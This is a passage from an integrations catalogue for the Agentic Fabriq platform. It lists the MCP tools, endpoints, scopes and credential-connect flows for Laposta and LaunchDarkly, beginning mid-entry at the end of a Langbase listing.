raised or logged, because Langbase's 401 repeats the key it was sent. POST /api/v1/langbase/v1/traces. Scopes: api. ================================================================================ ## Laposta URL: https://www.agenticfabriq.com/integrations/laposta Section: Integrated Tools Laposta — 41 MCP tools Provider key: laposta. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. laposta_delete_v2_campaign_by_campaign_id (write, destructive) — Delete a campaign. DELETE /v2/campaign/{campaign_id}. Permanently remove a campaign. DELETE /api/v1/laposta/v2/campaign/{campaign_id}. Scopes: api. laposta_delete_v2_field_by_field_id (write, destructive) — Delete a field. DELETE /v2/field/{field_id}. Remove a custom field from a list. DELETE /api/v1/laposta/v2/field/{field_id}. Scopes: api. laposta_delete_v2_list_by_list_id (write, destructive) — Delete a list. DELETE /v2/list/{list_id}. Permanently remove a list and its contacts. DELETE /api/v1/laposta/v2/list/{list_id}. Scopes: api. laposta_delete_v2_list_by_list_id_members (write, destructive) — Empty a list. DELETE /v2/list/{list_id}/members. Remove every contact from the list, keeping the list itself. DELETE /api/v1/laposta/v2/list/{list_id}/members. Scopes: api. laposta_delete_v2_member_by_member_id (write, destructive) — Delete a contact. DELETE /v2/member/{member_id}. Remove a contact from a list. DELETE /api/v1/laposta/v2/member/{member_id}. Scopes: api. laposta_delete_v2_segment_by_segment_id (write, destructive) — Delete a segment. DELETE /v2/segment/{segment_id}. Remove a segment from a list. DELETE /api/v1/laposta/v2/segment/{segment_id}. Scopes: api. laposta_delete_v2_webhook_by_webhook_id (write, destructive) — Delete a webhook. DELETE /v2/webhook/{webhook_id}. Remove a webhook from a list. DELETE /api/v1/laposta/v2/webhook/{webhook_id}. Scopes: api. laposta_get_v2_campaign (read) — List all campaigns. GET /v2/campaign. Retrieve every campaign in the account. GET /api/v1/laposta/v2/campaign. Scopes: api. laposta_get_v2_campaign_by_campaign_id (read) — Get a campaign. GET /v2/campaign/{campaign_id}. Retrieve one campaign. GET /api/v1/laposta/v2/campaign/{campaign_id}. Scopes: api. laposta_get_v2_campaign_by_campaign_id_content (read) — Get a campaign's content. GET /v2/campaign/{campaign_id}/content. Retrieve the HTML and text content of a campaign. GET /api/v1/laposta/v2/campaign/{campaign_id}/content. Scopes: api. laposta_get_v2_campaign_by_campaign_id_history (read) — Get a campaign's history. GET /v2/campaign/{campaign_id}/history. Retrieve the activity history of one campaign. GET /api/v1/laposta/v2/campaign/{campaign_id}/history. Scopes: api. laposta_get_v2_field (read) — List all fields of a list. GET /v2/field. Retrieve the custom fields defined on a list. GET /api/v1/laposta/v2/field. Scopes: api. laposta_get_v2_field_by_field_id (read) — Get a field. GET /v2/field/{field_id}. Retrieve one custom field. GET /api/v1/laposta/v2/field/{field_id}. Scopes: api. laposta_get_v2_list (read) — List all lists. GET /v2/list. Retrieve every list in the account. GET /api/v1/laposta/v2/list. Scopes: api. laposta_get_v2_list_by_list_id (read) — Get a list. GET /v2/list/{list_id}. Retrieve one list by its id. GET /api/v1/laposta/v2/list/{list_id}. Scopes: api. laposta_get_v2_member (read) — List all contacts of a list. GET /v2/member. Retrieve the contacts on a list. GET /api/v1/laposta/v2/member. Scopes: api. laposta_get_v2_member_by_member_id (read) — Get a contact. GET /v2/member/{member_id}. Retrieve one contact. GET /api/v1/laposta/v2/member/{member_id}. Scopes: api. laposta_get_v2_member_by_member_id_history (read) — Get a contact's history. GET /v2/member/{member_id}/history. Retrieve the activity history of one contact. GET /api/v1/laposta/v2/member/{member_id}/history. Scopes: api. laposta_get_v2_report (read) — List results for all campaigns. GET /v2/report. Retrieve delivery and engagement results for every campaign. GET /api/v1/laposta/v2/report. Scopes: api. laposta_get_v2_report_by_campaign_id (read) — Get results for a campaign. GET /v2/report/{campaign_id}. Retrieve delivery and engagement results for one campaign. GET /api/v1/laposta/v2/report/{campaign_id}. Scopes: api. laposta_get_v2_segment (read) — List all segments of a list. GET /v2/segment. Retrieve the segments defined on a list. GET /api/v1/laposta/v2/segment. Scopes: api. laposta_get_v2_segment_by_segment_id (read) — Get a segment. GET /v2/segment/{segment_id}. Retrieve one segment. GET /api/v1/laposta/v2/segment/{segment_id}. Scopes: api. laposta_get_v2_webhook (read) — List all webhooks of a list. GET /v2/webhook. Retrieve the webhooks registered on a list. GET /api/v1/laposta/v2/webhook. Scopes: api. laposta_get_v2_webhook_by_webhook_id (read) — Get a webhook. GET /v2/webhook/{webhook_id}. Retrieve one webhook. GET /api/v1/laposta/v2/webhook/{webhook_id}. Scopes: api. laposta_post_v2_campaign (write) — Create a campaign. POST /v2/campaign. Create a new campaign. POST /api/v1/laposta/v2/campaign. Scopes: api. laposta_post_v2_campaign_by_campaign_id (write) — Update a campaign. POST /v2/campaign/{campaign_id}. Modify a campaign. POST /api/v1/laposta/v2/campaign/{campaign_id}. Scopes: api. laposta_post_v2_campaign_by_campaign_id_action_schedule (write) — Schedule a campaign. POST /v2/campaign/{campaign_id}/action/schedule. Schedule the campaign for delivery at a given moment. This schedules a real send: at the moment named, Laposta delivers the campaign by email to its recipients. POST /api/v1/laposta/v2/campaign/{campaign_id}/action/schedule. Scopes: api. laposta_post_v2_campaign_by_campaign_id_action_send (write) — Send a campaign. POST /v2/campaign/{campaign_id}/action/send. Send the campaign to its list immediately. This delivers real email. POST /api/v1/laposta/v2/campaign/{campaign_id}/action/send. Scopes: api. laposta_post_v2_campaign_by_campaign_id_action_testmail (write) — Send a campaign test mail. POST /v2/campaign/{campaign_id}/action/testmail. Send a test copy of the campaign to named addresses. This sends a real email to the address given. POST /api/v1/laposta/v2/campaign/{campaign_id}/action/testmail. Scopes: api. laposta_post_v2_campaign_by_campaign_id_content (write) — Set a campaign's content. POST /v2/campaign/{campaign_id}/content. Fill in the HTML and text content of a campaign. POST /api/v1/laposta/v2/campaign/{campaign_id}/content. Scopes: api. laposta_post_v2_field (write) — Create a field. POST /v2/field. Define a new custom field on a list. POST /api/v1/laposta/v2/field. Scopes: api. laposta_post_v2_field_by_field_id (write) — Update a field. POST /v2/field/{field_id}. Modify a custom field. POST /api/v1/laposta/v2/field/{field_id}. Scopes: api. laposta_post_v2_list (write) — Create a list. POST /v2/list. Add a new list. POST /api/v1/laposta/v2/list. Scopes: api. laposta_post_v2_list_by_list_id (write) — Update a list. POST /v2/list/{list_id}. Modify an existing list. POST /api/v1/laposta/v2/list/{list_id}. Scopes: api. laposta_post_v2_list_by_list_id_members (write) — Bulk-synchronise a list. POST /v2/list/{list_id}/members. Replace or merge the list's contacts in one bulk call. POST /api/v1/laposta/v2/list/{list_id}/members. Scopes: api. laposta_post_v2_member (write) — Create a contact. POST /v2/member. Add a contact to a list. POST /api/v1/laposta/v2/member. Scopes: api. laposta_post_v2_member_by_member_id (write) — Update a contact. POST /v2/member/{member_id}. Modify a contact, including its labels. POST /api/v1/laposta/v2/member/{member_id}. Scopes: api. laposta_post_v2_segment (write) — Create a segment. POST /v2/segment. Define a new segment on a list. POST /api/v1/laposta/v2/segment. Scopes: api. laposta_post_v2_segment_by_segment_id (write) — Update a segment. POST /v2/segment/{segment_id}. Modify a segment. POST /api/v1/laposta/v2/segment/{segment_id}. Scopes: api. laposta_post_v2_webhook (write) — Create a webhook. POST /v2/webhook. Register a webhook on a list. POST /api/v1/laposta/v2/webhook. Scopes: api. laposta_post_v2_webhook_by_webhook_id (write) — Update a webhook. POST /v2/webhook/{webhook_id}. Modify a webhook. POST /api/v1/laposta/v2/webhook/{webhook_id}. Scopes: api. ================================================================================ ## LaunchDarkly URL: https://www.agenticfabriq.com/integrations/launchdarkly Section: Integrated Tools LaunchDarkly — 399 MCP tools Provider key: launchdarkly. Scopes: reader, writer. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. launchdarkly_delete_account_ip_allowlist_by_id (write, destructive) — Delete ip allowlist entry via DELETE /api/v2/account/ip-allowlist/{id} DELETE /api/v1/launchdarkly/api/v2/account/ip-allowlist/{id}. Scopes: writer. launchdarkly_delete_account_relay_auto_configs_by_id (write, destructive) — Delete relay auto config via DELETE /api/v2/account/relay-auto-configs/{id} DELETE /api/v1/launchdarkly/api/v2/account/relay-auto-configs/{id}. Scopes: writer. launchdarkly_delete_announcements_by_announcementid (write, destructive) — Delete announcement public via DELETE /api/v2/announcements/{announcementId} DELETE /api/v1/launchdarkly/api/v2/announcements/{announcementId}. Scopes: writer. launchdarkly_delete_applications_by_applicationkey (write, destructive) — Delete application via DELETE /api/v2/applications/{applicationKey} DELETE /api/v1/launchdarkly/api/v2/applications/{applicationKey}. Scopes: writer. launchdarkly_delete_applications_by_applicationkey_versions_by_versionkey (write, destructive) — Delete application version via DELETE /api/v2/applications/{applicationKey}/versions/{versionKey} DELETE /api/v1/launchdarkly/api/v2/applications/{applicationKey}/versions/{versionKey}. Scopes: writer. launchdarkly_delete_approval_requests_by_id (write, destructive) — Delete approval request via DELETE /api/v2/approval-requests/{id} DELETE /api/v1/launchdarkly/api/v2/approval-requests/{id}. Scopes: writer. launchdarkly_delete_code_refs_repositories_by_repo (write, destructive) — Delete repository via DELETE /api/v2/code-refs/repositories/{repo} DELETE /api/v1/launchdarkly/api/v2/code-refs/repositories/{repo}. Scopes: writer. launchdarkly_delete_destinations_by_projectkey_by_environmentkey_by_id (write, destructive) — Delete destination via DELETE /api/v2/destinations/{projectKey}/{environmentKey}/{id} DELETE /api/v1/launchdarkly/api/v2/destinations/{projectKey}/{environmentKey}/{id}. Scopes: writer. launchdarkly_delete_engineering_insights_insights_groups_by_insightgroupkey (write, destructive) — Delete insight group via DELETE /api/v2/engineering-insights/insights/groups/{insightGroupKey} DELETE /api/v1/launchdarkly/api/v2/engineering-insights/insights/groups/{insightGroupKey}. Scopes: writer. launchdarkly_delete_engineering_insights_repositories_by_repositorykey_projects_by_projectkey (write, destructive) — Delete repository project via DELETE /api/v2/engineering-insights/repositories/{repositoryKey}/projects/{projectKey} DELETE /api/v1/launchdarkly/api/v2/engineering-insights/repositories/{repositoryKey}/projects/{projectKey}. Scopes: writer. launchdarkly_delete_flag_links_projects_by_projectkey_flags_by_featureflagkey_by_id (write, destructive) — Delete flag link via DELETE /api/v2/flag-links/projects/{projectKey}/flags/{featureFlagKey}/{id} DELETE /api/v1/launchdarkly/api/v2/flag-links/projects/{projectKey}/flags/{featureFlagKey}/{id}. Scopes: writer. launchdarkly_delete_flags_by_projectkey_by_featureflagkey (write, destructive) — Delete feature flag via DELETE /api/v2/flags/{projectKey}/{featureFlagKey} DELETE /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}. Scopes: writer. launchdarkly_delete_flags_by_projectkey_by_featureflagkey_triggers_by_environmentkey_by_id (write, destructive) — Delete trigger workflow via DELETE /api/v2/flags/{projectKey}/{featureFlagKey}/triggers/{environmentKey}/{id} DELETE /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}/triggers/{environmentKey}/{id}. Scopes: writer. launchdarkly_delete_flags_by_projectkey_by_flagkey_release (write, destructive) — Delete release by flag key via DELETE /api/v2/flags/{projectKey}/{flagKey}/release DELETE /api/v1/launchdarkly/api/v2/flags/{projectKey}/{flagKey}/release. Scopes: writer. launchdarkly_delete_integration_capabilities_big_segment_store_projectkey_environmentkey_integrationkey_integrationid (write, destructive) — Delete big segment store integration via DELETE /api/v2/integration-capabilities/big-segment-store/{projectKey}/{environmentKey}/{integrationKey}/{integrationId} DELETE /api/v1/launchdarkly/api/v2/integration-capabilities/big-segment-store/{projectKey}/{environmentKey}/{integrationKey}/{integrationId}. Scopes: writer. launchdarkly_delete_integration_capabilities_featurestore_by_projectkey_by_environmentkey_by_integrationkey_by_id (write, destructive) — Delete integration delivery configuration via DELETE /api/v2/integration-capabilities/featureStore/{projectKey}/{environmentKey}/{integrationKey}/{id} DELETE /api/v1/launchdarkly/api/v2/integration-capabilities/featureStore/{projectKey}/{environmentKey}/{integrationKey}/{id}. Scopes: writer. launchdarkly_delete_integration_capabilities_flag_import_by_projectkey_by_integrationkey_by_integrationid (write, destructive) — Delete flag import configuration via DELETE /api/v2/integration-capabilities/flag-import/{projectKey}/{integrationKey}/{integrationId} DELETE /api/v1/launchdarkly/api/v2/integration-capabilities/flag-import/{projectKey}/{integrationKey}/{integrationId}. Scopes: writer. launchdarkly_delete_integration_configurations_by_integrationconfigurationid (write, destructive) — Delete integration configuration via DELETE /api/v2/integration-configurations/{integrationConfigurationId} DELETE /api/v1/launchdarkly/api/v2/integration-configurations/{integrationConfigurationId}. Scopes: writer. launchdarkly_delete_integrations_by_integrationkey_by_id (write, destructive) — Delete subscription via DELETE /api/v2/integrations/{integrationKey}/{id} DELETE /api/v1/launchdarkly/api/v2/integrations/{integrationKey}/{id}. Scopes: writer. launchdarkly_delete_members_by_id (write, destructive) — Delete member via DELETE /api/v2/members/{id} DELETE /api/v1/launchdarkly/api/v2/members/{id}. Scopes: writer. launchdarkly_delete_metrics_by_projectkey_by_metrickey (write, destructive) — Delete metric via DELETE /api/v2/metrics/{projectKey}/{metricKey} DELETE /api/v1/launchdarkly/api/v2/metrics/{projectKey}/{metricKey}. Scopes: writer. launchdarkly_delete_oauth_clients_by_clientid (write, destructive) — Delete oauth client via DELETE /api/v2/oauth/clients/{clientId} DELETE /api/v1/launchdarkly/api/v2/oauth/clients/{clientId}. Scopes: writer. launchdarkly_delete_projects_by_projectkey (write, destructive) — Delete project via DELETE /api/v2/projects/{projectKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_agent_graphs_by_graphkey (write, destructive) — Delete agent graph via DELETE /api/v2/projects/{projectKey}/agent-graphs/{graphKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-graphs/{graphKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_agent_optimizations_by_optimizationkey (write, destructive) — Delete agent optimization via DELETE /api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_agent_optimizations_by_optimizationkey_runs_by_runid (write, destructive) — Delete agent optimization run via DELETE /api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/runs/{runId} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/runs/{runId}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_ai_configs_by_configkey (write, destructive) — Delete aiconfig via DELETE /api/v2/projects/{projectKey}/ai-configs/{configKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/{configKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_ai_configs_by_configkey_variations_by_variationkey (write, destructive) — Delete aiconfig variation via DELETE /api/v2/projects/{projectKey}/ai-configs/{configKey}/variations/{variationKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/{configKey}/variations/{variationKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_ai_configs_model_configs_by_modelconfigkey (write, destructive) — Delete model config via DELETE /api/v2/projects/{projectKey}/ai-configs/model-configs/{modelConfigKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/model-configs/{modelConfigKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_ai_configs_model_configs_restricted (write, destructive) — Delete restricted models via DELETE /api/v2/projects/{projectKey}/ai-configs/model-configs/restricted DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/model-configs/restricted. Scopes: writer. launchdarkly_delete_projects_by_projectkey_ai_configs_prompt_snippets_by_snippetkey (write, destructive) — Delete prompt snippet via DELETE /api/v2/projects/{projectKey}/ai-configs/prompt-snippets/{snippetKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/prompt-snippets/{snippetKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_ai_configs_skills_by_skillkey (write, destructive) — Delete agent skill via DELETE /api/v2/projects/{projectKey}/ai-configs/skills/{skillKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/skills/{skillKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_ai_tools_by_toolkey (write, destructive) — Delete aitool via DELETE /api/v2/projects/{projectKey}/ai-tools/{toolKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-tools/{toolKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_environments_by_environmentkey (write, destructive) — Delete environment via DELETE /api/v2/projects/{projectKey}/environments/{environmentKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_environments_by_environmentkey_adaptive_triggers_by_triggerid (write, destructive) — Delete adaptive trigger via DELETE /api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers/{triggerID} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers/{triggerID}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_environments_by_environmentkey_context_instances_by_id (write, destructive) — Delete context instances via DELETE /api/v2/projects/{projectKey}/environments/{environmentKey}/context-instances/{id} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/context-instances/{id}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_environments_by_environmentkey_sdk_keys_by_sdkkeykey (write, destructive) — Delete sdk key by key via DELETE /api/v2/projects/{projectKey}/environments/{environmentKey}/sdk-keys/{sdkKeyKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/sdk-keys/{sdkKeyKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_approval_requests_by_id (write, destructive) — Delete approval request for flag via DELETE /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests/{id} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests/{id}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_followers_by_memberid (write, destructive) — Delete flag follower via DELETE /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/followers/{memberId} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/followers/{memberId}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_scheduled_changes_by_id (write, destructive) — Delete flag config scheduled changes via DELETE /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/scheduled-changes/{id} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/scheduled-changes/{id}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_workflows_by_workflowid (write, destructive) — Delete workflow via DELETE /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/workflows/{workflowId} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/workflows/{workflowId}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_metric_groups_by_metricgroupkey (write, destructive) — Delete metric group via DELETE /api/v2/projects/{projectKey}/metric-groups/{metricGroupKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/metric-groups/{metricGroupKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_release_pipelines_by_pipelinekey (write, destructive) — Delete release pipeline via DELETE /api/v2/projects/{projectKey}/release-pipelines/{pipelineKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/release-pipelines/{pipelineKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_release_policies_by_policykey (write, destructive) — Delete release policy via DELETE /api/v2/projects/{projectKey}/release-policies/{policyKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/release-policies/{policyKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_views_by_viewkey (write, destructive) — Delete view via DELETE /api/v2/projects/{projectKey}/views/{viewKey} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/views/{viewKey}. Scopes: writer. launchdarkly_delete_projects_by_projectkey_views_by_viewkey_link_by_resourcetype (write, destructive) — Unlink resource via DELETE /api/v2/projects/{projectKey}/views/{viewKey}/link/{resourceType} DELETE /api/v1/launchdarkly/api/v2/projects/{projectKey}/views/{viewKey}/link/{resourceType}. Scopes: writer. launchdarkly_delete_roles_by_customrolekey (write, destructive) — Delete custom role via DELETE /api/v2/roles/{customRoleKey} DELETE /api/v1/launchdarkly/api/v2/roles/{customRoleKey}. Scopes: writer. launchdarkly_delete_segments_by_projectkey_by_environmentkey_by_segmentkey (write, destructive) — Delete segment via DELETE /api/v2/segments/{projectKey}/{environmentKey}/{segmentKey} DELETE /api/v1/launchdarkly/api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}. Scopes: writer. launchdarkly_delete_teams_by_teamkey (write, destructive) — Delete team via DELETE /api/v2/teams/{teamKey} DELETE /api/v1/launchdarkly/api/v2/teams/{teamKey}. Scopes: writer. launchdarkly_delete_templates_by_templatekey (write, destructive) — Delete workflow template via DELETE /api/v2/templates/{templateKey} DELETE /api/v1/launchdarkly/api/v2/templates/{templateKey}. Scopes: writer. launchdarkly_delete_tokens_by_id (write, destructive) — Delete token via DELETE /api/v2/tokens/{id} DELETE /api/v1/launchdarkly/api/v2/tokens/{id}. Scopes: writer. launchdarkly_delete_webhooks_by_id (write, destructive) — Delete webhook via DELETE /api/v2/webhooks/{id} DELETE /api/v1/launchdarkly/api/v2/webhooks/{id}. Scopes: writer. launchdarkly_get (read) — Get root via GET /api/v2 GET /api/v1/launchdarkly/api/v2. Scopes: reader. launchdarkly_get_account_ip_allowlist (read) — Get ip allowlist via GET /api/v2/account/ip-allowlist GET /api/v1/launchdarkly/api/v2/account/ip-allowlist. Scopes: reader. launchdarkly_get_account_relay_auto_configs (read) — Get relay proxy configs via GET /api/v2/account/relay-auto-configs GET /api/v1/launchdarkly/api/v2/account/relay-auto-configs. Scopes: reader. launchdarkly_get_account_relay_auto_configs_by_id (read) — Get relay proxy config via GET /api/v2/account/relay-auto-configs/{id} GET /api/v1/launchdarkly/api/v2/account/relay-auto-configs/{id}. Scopes: reader. launchdarkly_get_announcements (read) — Get announcements public via GET /api/v2/announcements GET /api/v1/launchdarkly/api/v2/announcements. Scopes: reader. launchdarkly_get_applications (read) — Get applications via GET /api/v2/applications GET /api/v1/launchdarkly/api/v2/applications. Scopes: reader. launchdarkly_get_applications_by_applicationkey (read) — Get application via GET /api/v2/applications/{applicationKey} GET /api/v1/launchdarkly/api/v2/applications/{applicationKey}. Scopes: reader. launchdarkly_get_applications_by_applicationkey_versions (read) — Get application versions via GET /api/v2/applications/{applicationKey}/versions GET /api/v1/launchdarkly/api/v2/applications/{applicationKey}/versions. Scopes: reader. launchdarkly_get_approval_requests (read) — Get approval requests via GET /api/v2/approval-requests GET /api/v1/launchdarkly/api/v2/approval-requests. Scopes: reader. launchdarkly_get_approval_requests_by_id (read) — Get approval request via GET /api/v2/approval-requests/{id} GET /api/v1/launchdarkly/api/v2/approval-requests/{id}. Scopes: reader. launchdarkly_get_approval_requests_projects_by_projectkey_settings (read) — Get approval request settings via GET /api/v2/approval-requests/projects/{projectKey}/settings GET /api/v1/launchdarkly/api/v2/approval-requests/projects/{projectKey}/settings. Scopes: reader. launchdarkly_get_auditlog (read) — Get audit log entries via GET /api/v2/auditlog GET /api/v1/launchdarkly/api/v2/auditlog. Scopes: reader. launchdarkly_get_auditlog_by_id (read) — Get audit log entry via GET /api/v2/auditlog/{id} GET /api/v1/launchdarkly/api/v2/auditlog/{id}. Scopes: reader. launchdarkly_get_caller_identity (read) — Get caller identity via GET /api/v2/caller-identity GET /api/v1/launchdarkly/api/v2/caller-identity. Scopes: reader. launchdarkly_get_code_refs_extinctions (read) — Get extinctions via GET /api/v2/code-refs/extinctions GET /api/v1/launchdarkly/api/v2/code-refs/extinctions. Scopes: reader. launchdarkly_get_code_refs_repositories (read) — Get repositories via GET /api/v2/code-refs/repositories GET /api/v1/launchdarkly/api/v2/code-refs/repositories. Scopes: reader. launchdarkly_get_code_refs_repositories_by_repo (read) — Get repository via GET /api/v2/code-refs/repositories/{repo} GET /api/v1/launchdarkly/api/v2/code-refs/repositories/{repo}. Scopes: reader. launchdarkly_get_code_refs_repositories_by_repo_branches (read) — Get branches via GET /api/v2/code-refs/repositories/{repo}/branches GET /api/v1/launchdarkly/api/v2/code-refs/repositories/{repo}/branches. Scopes: reader. launchdarkly_get_code_refs_repositories_by_repo_branches_by_branch (read) — Get branch via GET /api/v2/code-refs/repositories/{repo}/branches/{branch} GET /api/v1/launchdarkly/api/v2/code-refs/repositories/{repo}/branches/{branch}. Scopes: reader. launchdarkly_get_code_refs_statistics (read) — Get root statistic via GET /api/v2/code-refs/statistics GET /api/v1/launchdarkly/api/v2/code-refs/statistics. Scopes: reader. launchdarkly_get_code_refs_statistics_by_projectkey (read) — Get statistics via GET /api/v2/code-refs/statistics/{projectKey} GET /api/v1/launchdarkly/api/v2/code-refs/statistics/{projectKey}. Scopes: reader. launchdarkly_get_destinations (read) — Get destinations via GET /api/v2/destinations GET /api/v1/launchdarkly/api/v2/destinations. Scopes: reader. launchdarkly_get_destinations_by_projectkey_by_environmentkey_by_id (read) — Get destination via GET /api/v2/destinations/{projectKey}/{environmentKey}/{id} GET /api/v1/launchdarkly/api/v2/destinations/{projectKey}/{environmentKey}/{id}. Scopes: reader. launchdarkly_get_engineering_insights_charts_deployments_frequency (read) — Get deployment frequency chart via GET /api/v2/engineering-insights/charts/deployments/frequency GET /api/v1/launchdarkly/api/v2/engineering-insights/charts/deployments/frequency. Scopes: reader. launchdarkly_get_engineering_insights_charts_flags_stale (read) — Get stale flags chart via GET /api/v2/engineering-insights/charts/flags/stale GET /api/v1/launchdarkly/api/v2/engineering-insights/charts/flags/stale. Scopes: reader. launchdarkly_get_engineering_insights_charts_flags_status (read) — Get flag status chart via GET /api/v2/engineering-insights/charts/flags/status GET /api/v1/launchdarkly/api/v2/engineering-insights/charts/flags/status. Scopes: reader. launchdarkly_get_engineering_insights_charts_lead_time (read) — Get lead time chart via GET /api/v2/engineering-insights/charts/lead-time GET /api/v1/launchdarkly/api/v2/engineering-insights/charts/lead-time. Scopes: reader. launchdarkly_get_engineering_insights_charts_releases_frequency (read) — Get release frequency chart via GET /api/v2/engineering-insights/charts/releases/frequency GET /api/v1/launchdarkly/api/v2/engineering-insights/charts/releases/frequency. Scopes: reader. launchdarkly_get_engineering_insights_deployments (read) — Get deployments via GET /api/v2/engineering-insights/deployments GET /api/v1/launchdarkly/api/v2/engineering-insights/deployments. Scopes: reader. launchdarkly_get_engineering_insights_deployments_by_deploymentid (read) — Get deployment via GET /api/v2/engineering-insights/deployments/{deploymentID} GET /api/v1/launchdarkly/api/v2/engineering-insights/deployments/{deploymentID}. Scopes: reader. launchdarkly_get_engineering_insights_flag_events (read) — Get flag events via GET /api/v2/engineering-insights/flag-events GET /api/v1/launchdarkly/api/v2/engineering-insights/flag-events. Scopes: reader. launchdarkly_get_engineering_insights_insights_groups (read) — Get insight groups via GET /api/v2/engineering-insights/insights/groups GET /api/v1/launchdarkly/api/v2/engineering-insights/insights/groups. Scopes: reader. launchdarkly_get_engineering_insights_insights_groups_by_insightgroupkey (read) — Get insight group via GET /api/v2/engineering-insights/insights/groups/{insightGroupKey} GET /api/v1/launchdarkly/api/v2/engineering-insights/insights/groups/{insightGroupKey}. Scopes: reader. launchdarkly_get_engineering_insights_insights_scores (read) — Get insights scores via GET /api/v2/engineering-insights/insights/scores GET /api/v1/launchdarkly/api/v2/engineering-insights/insights/scores. Scopes: reader. launchdarkly_get_engineering_insights_pull_requests (read) — Get pull requests via GET /api/v2/engineering-insights/pull-requests GET /api/v1/launchdarkly/api/v2/engineering-insights/pull-requests. Scopes: reader. launchdarkly_get_engineering_insights_repositories (read) — Get insights repositories via GET /api/v2/engineering-insights/repositories GET /api/v1/launchdarkly/api/v2/engineering-insights/repositories. Scopes: reader. launchdarkly_get_flag_links_projects_by_projectkey_flags_by_featureflagkey (read) — Get flag links via GET /api/v2/flag-links/projects/{projectKey}/flags/{featureFlagKey} GET /api/v1/launchdarkly/api/v2/flag-links/projects/{projectKey}/flags/{featureFlagKey}. Scopes: reader. launchdarkly_get_flag_status_by_projectkey_by_featureflagkey (read) — Get feature flag status across environments via GET /api/v2/flag-status/{projectKey}/{featureFlagKey} GET /api/v1/launchdarkly/api/v2/flag-status/{projectKey}/{featureFlagKey}. Scopes: reader. 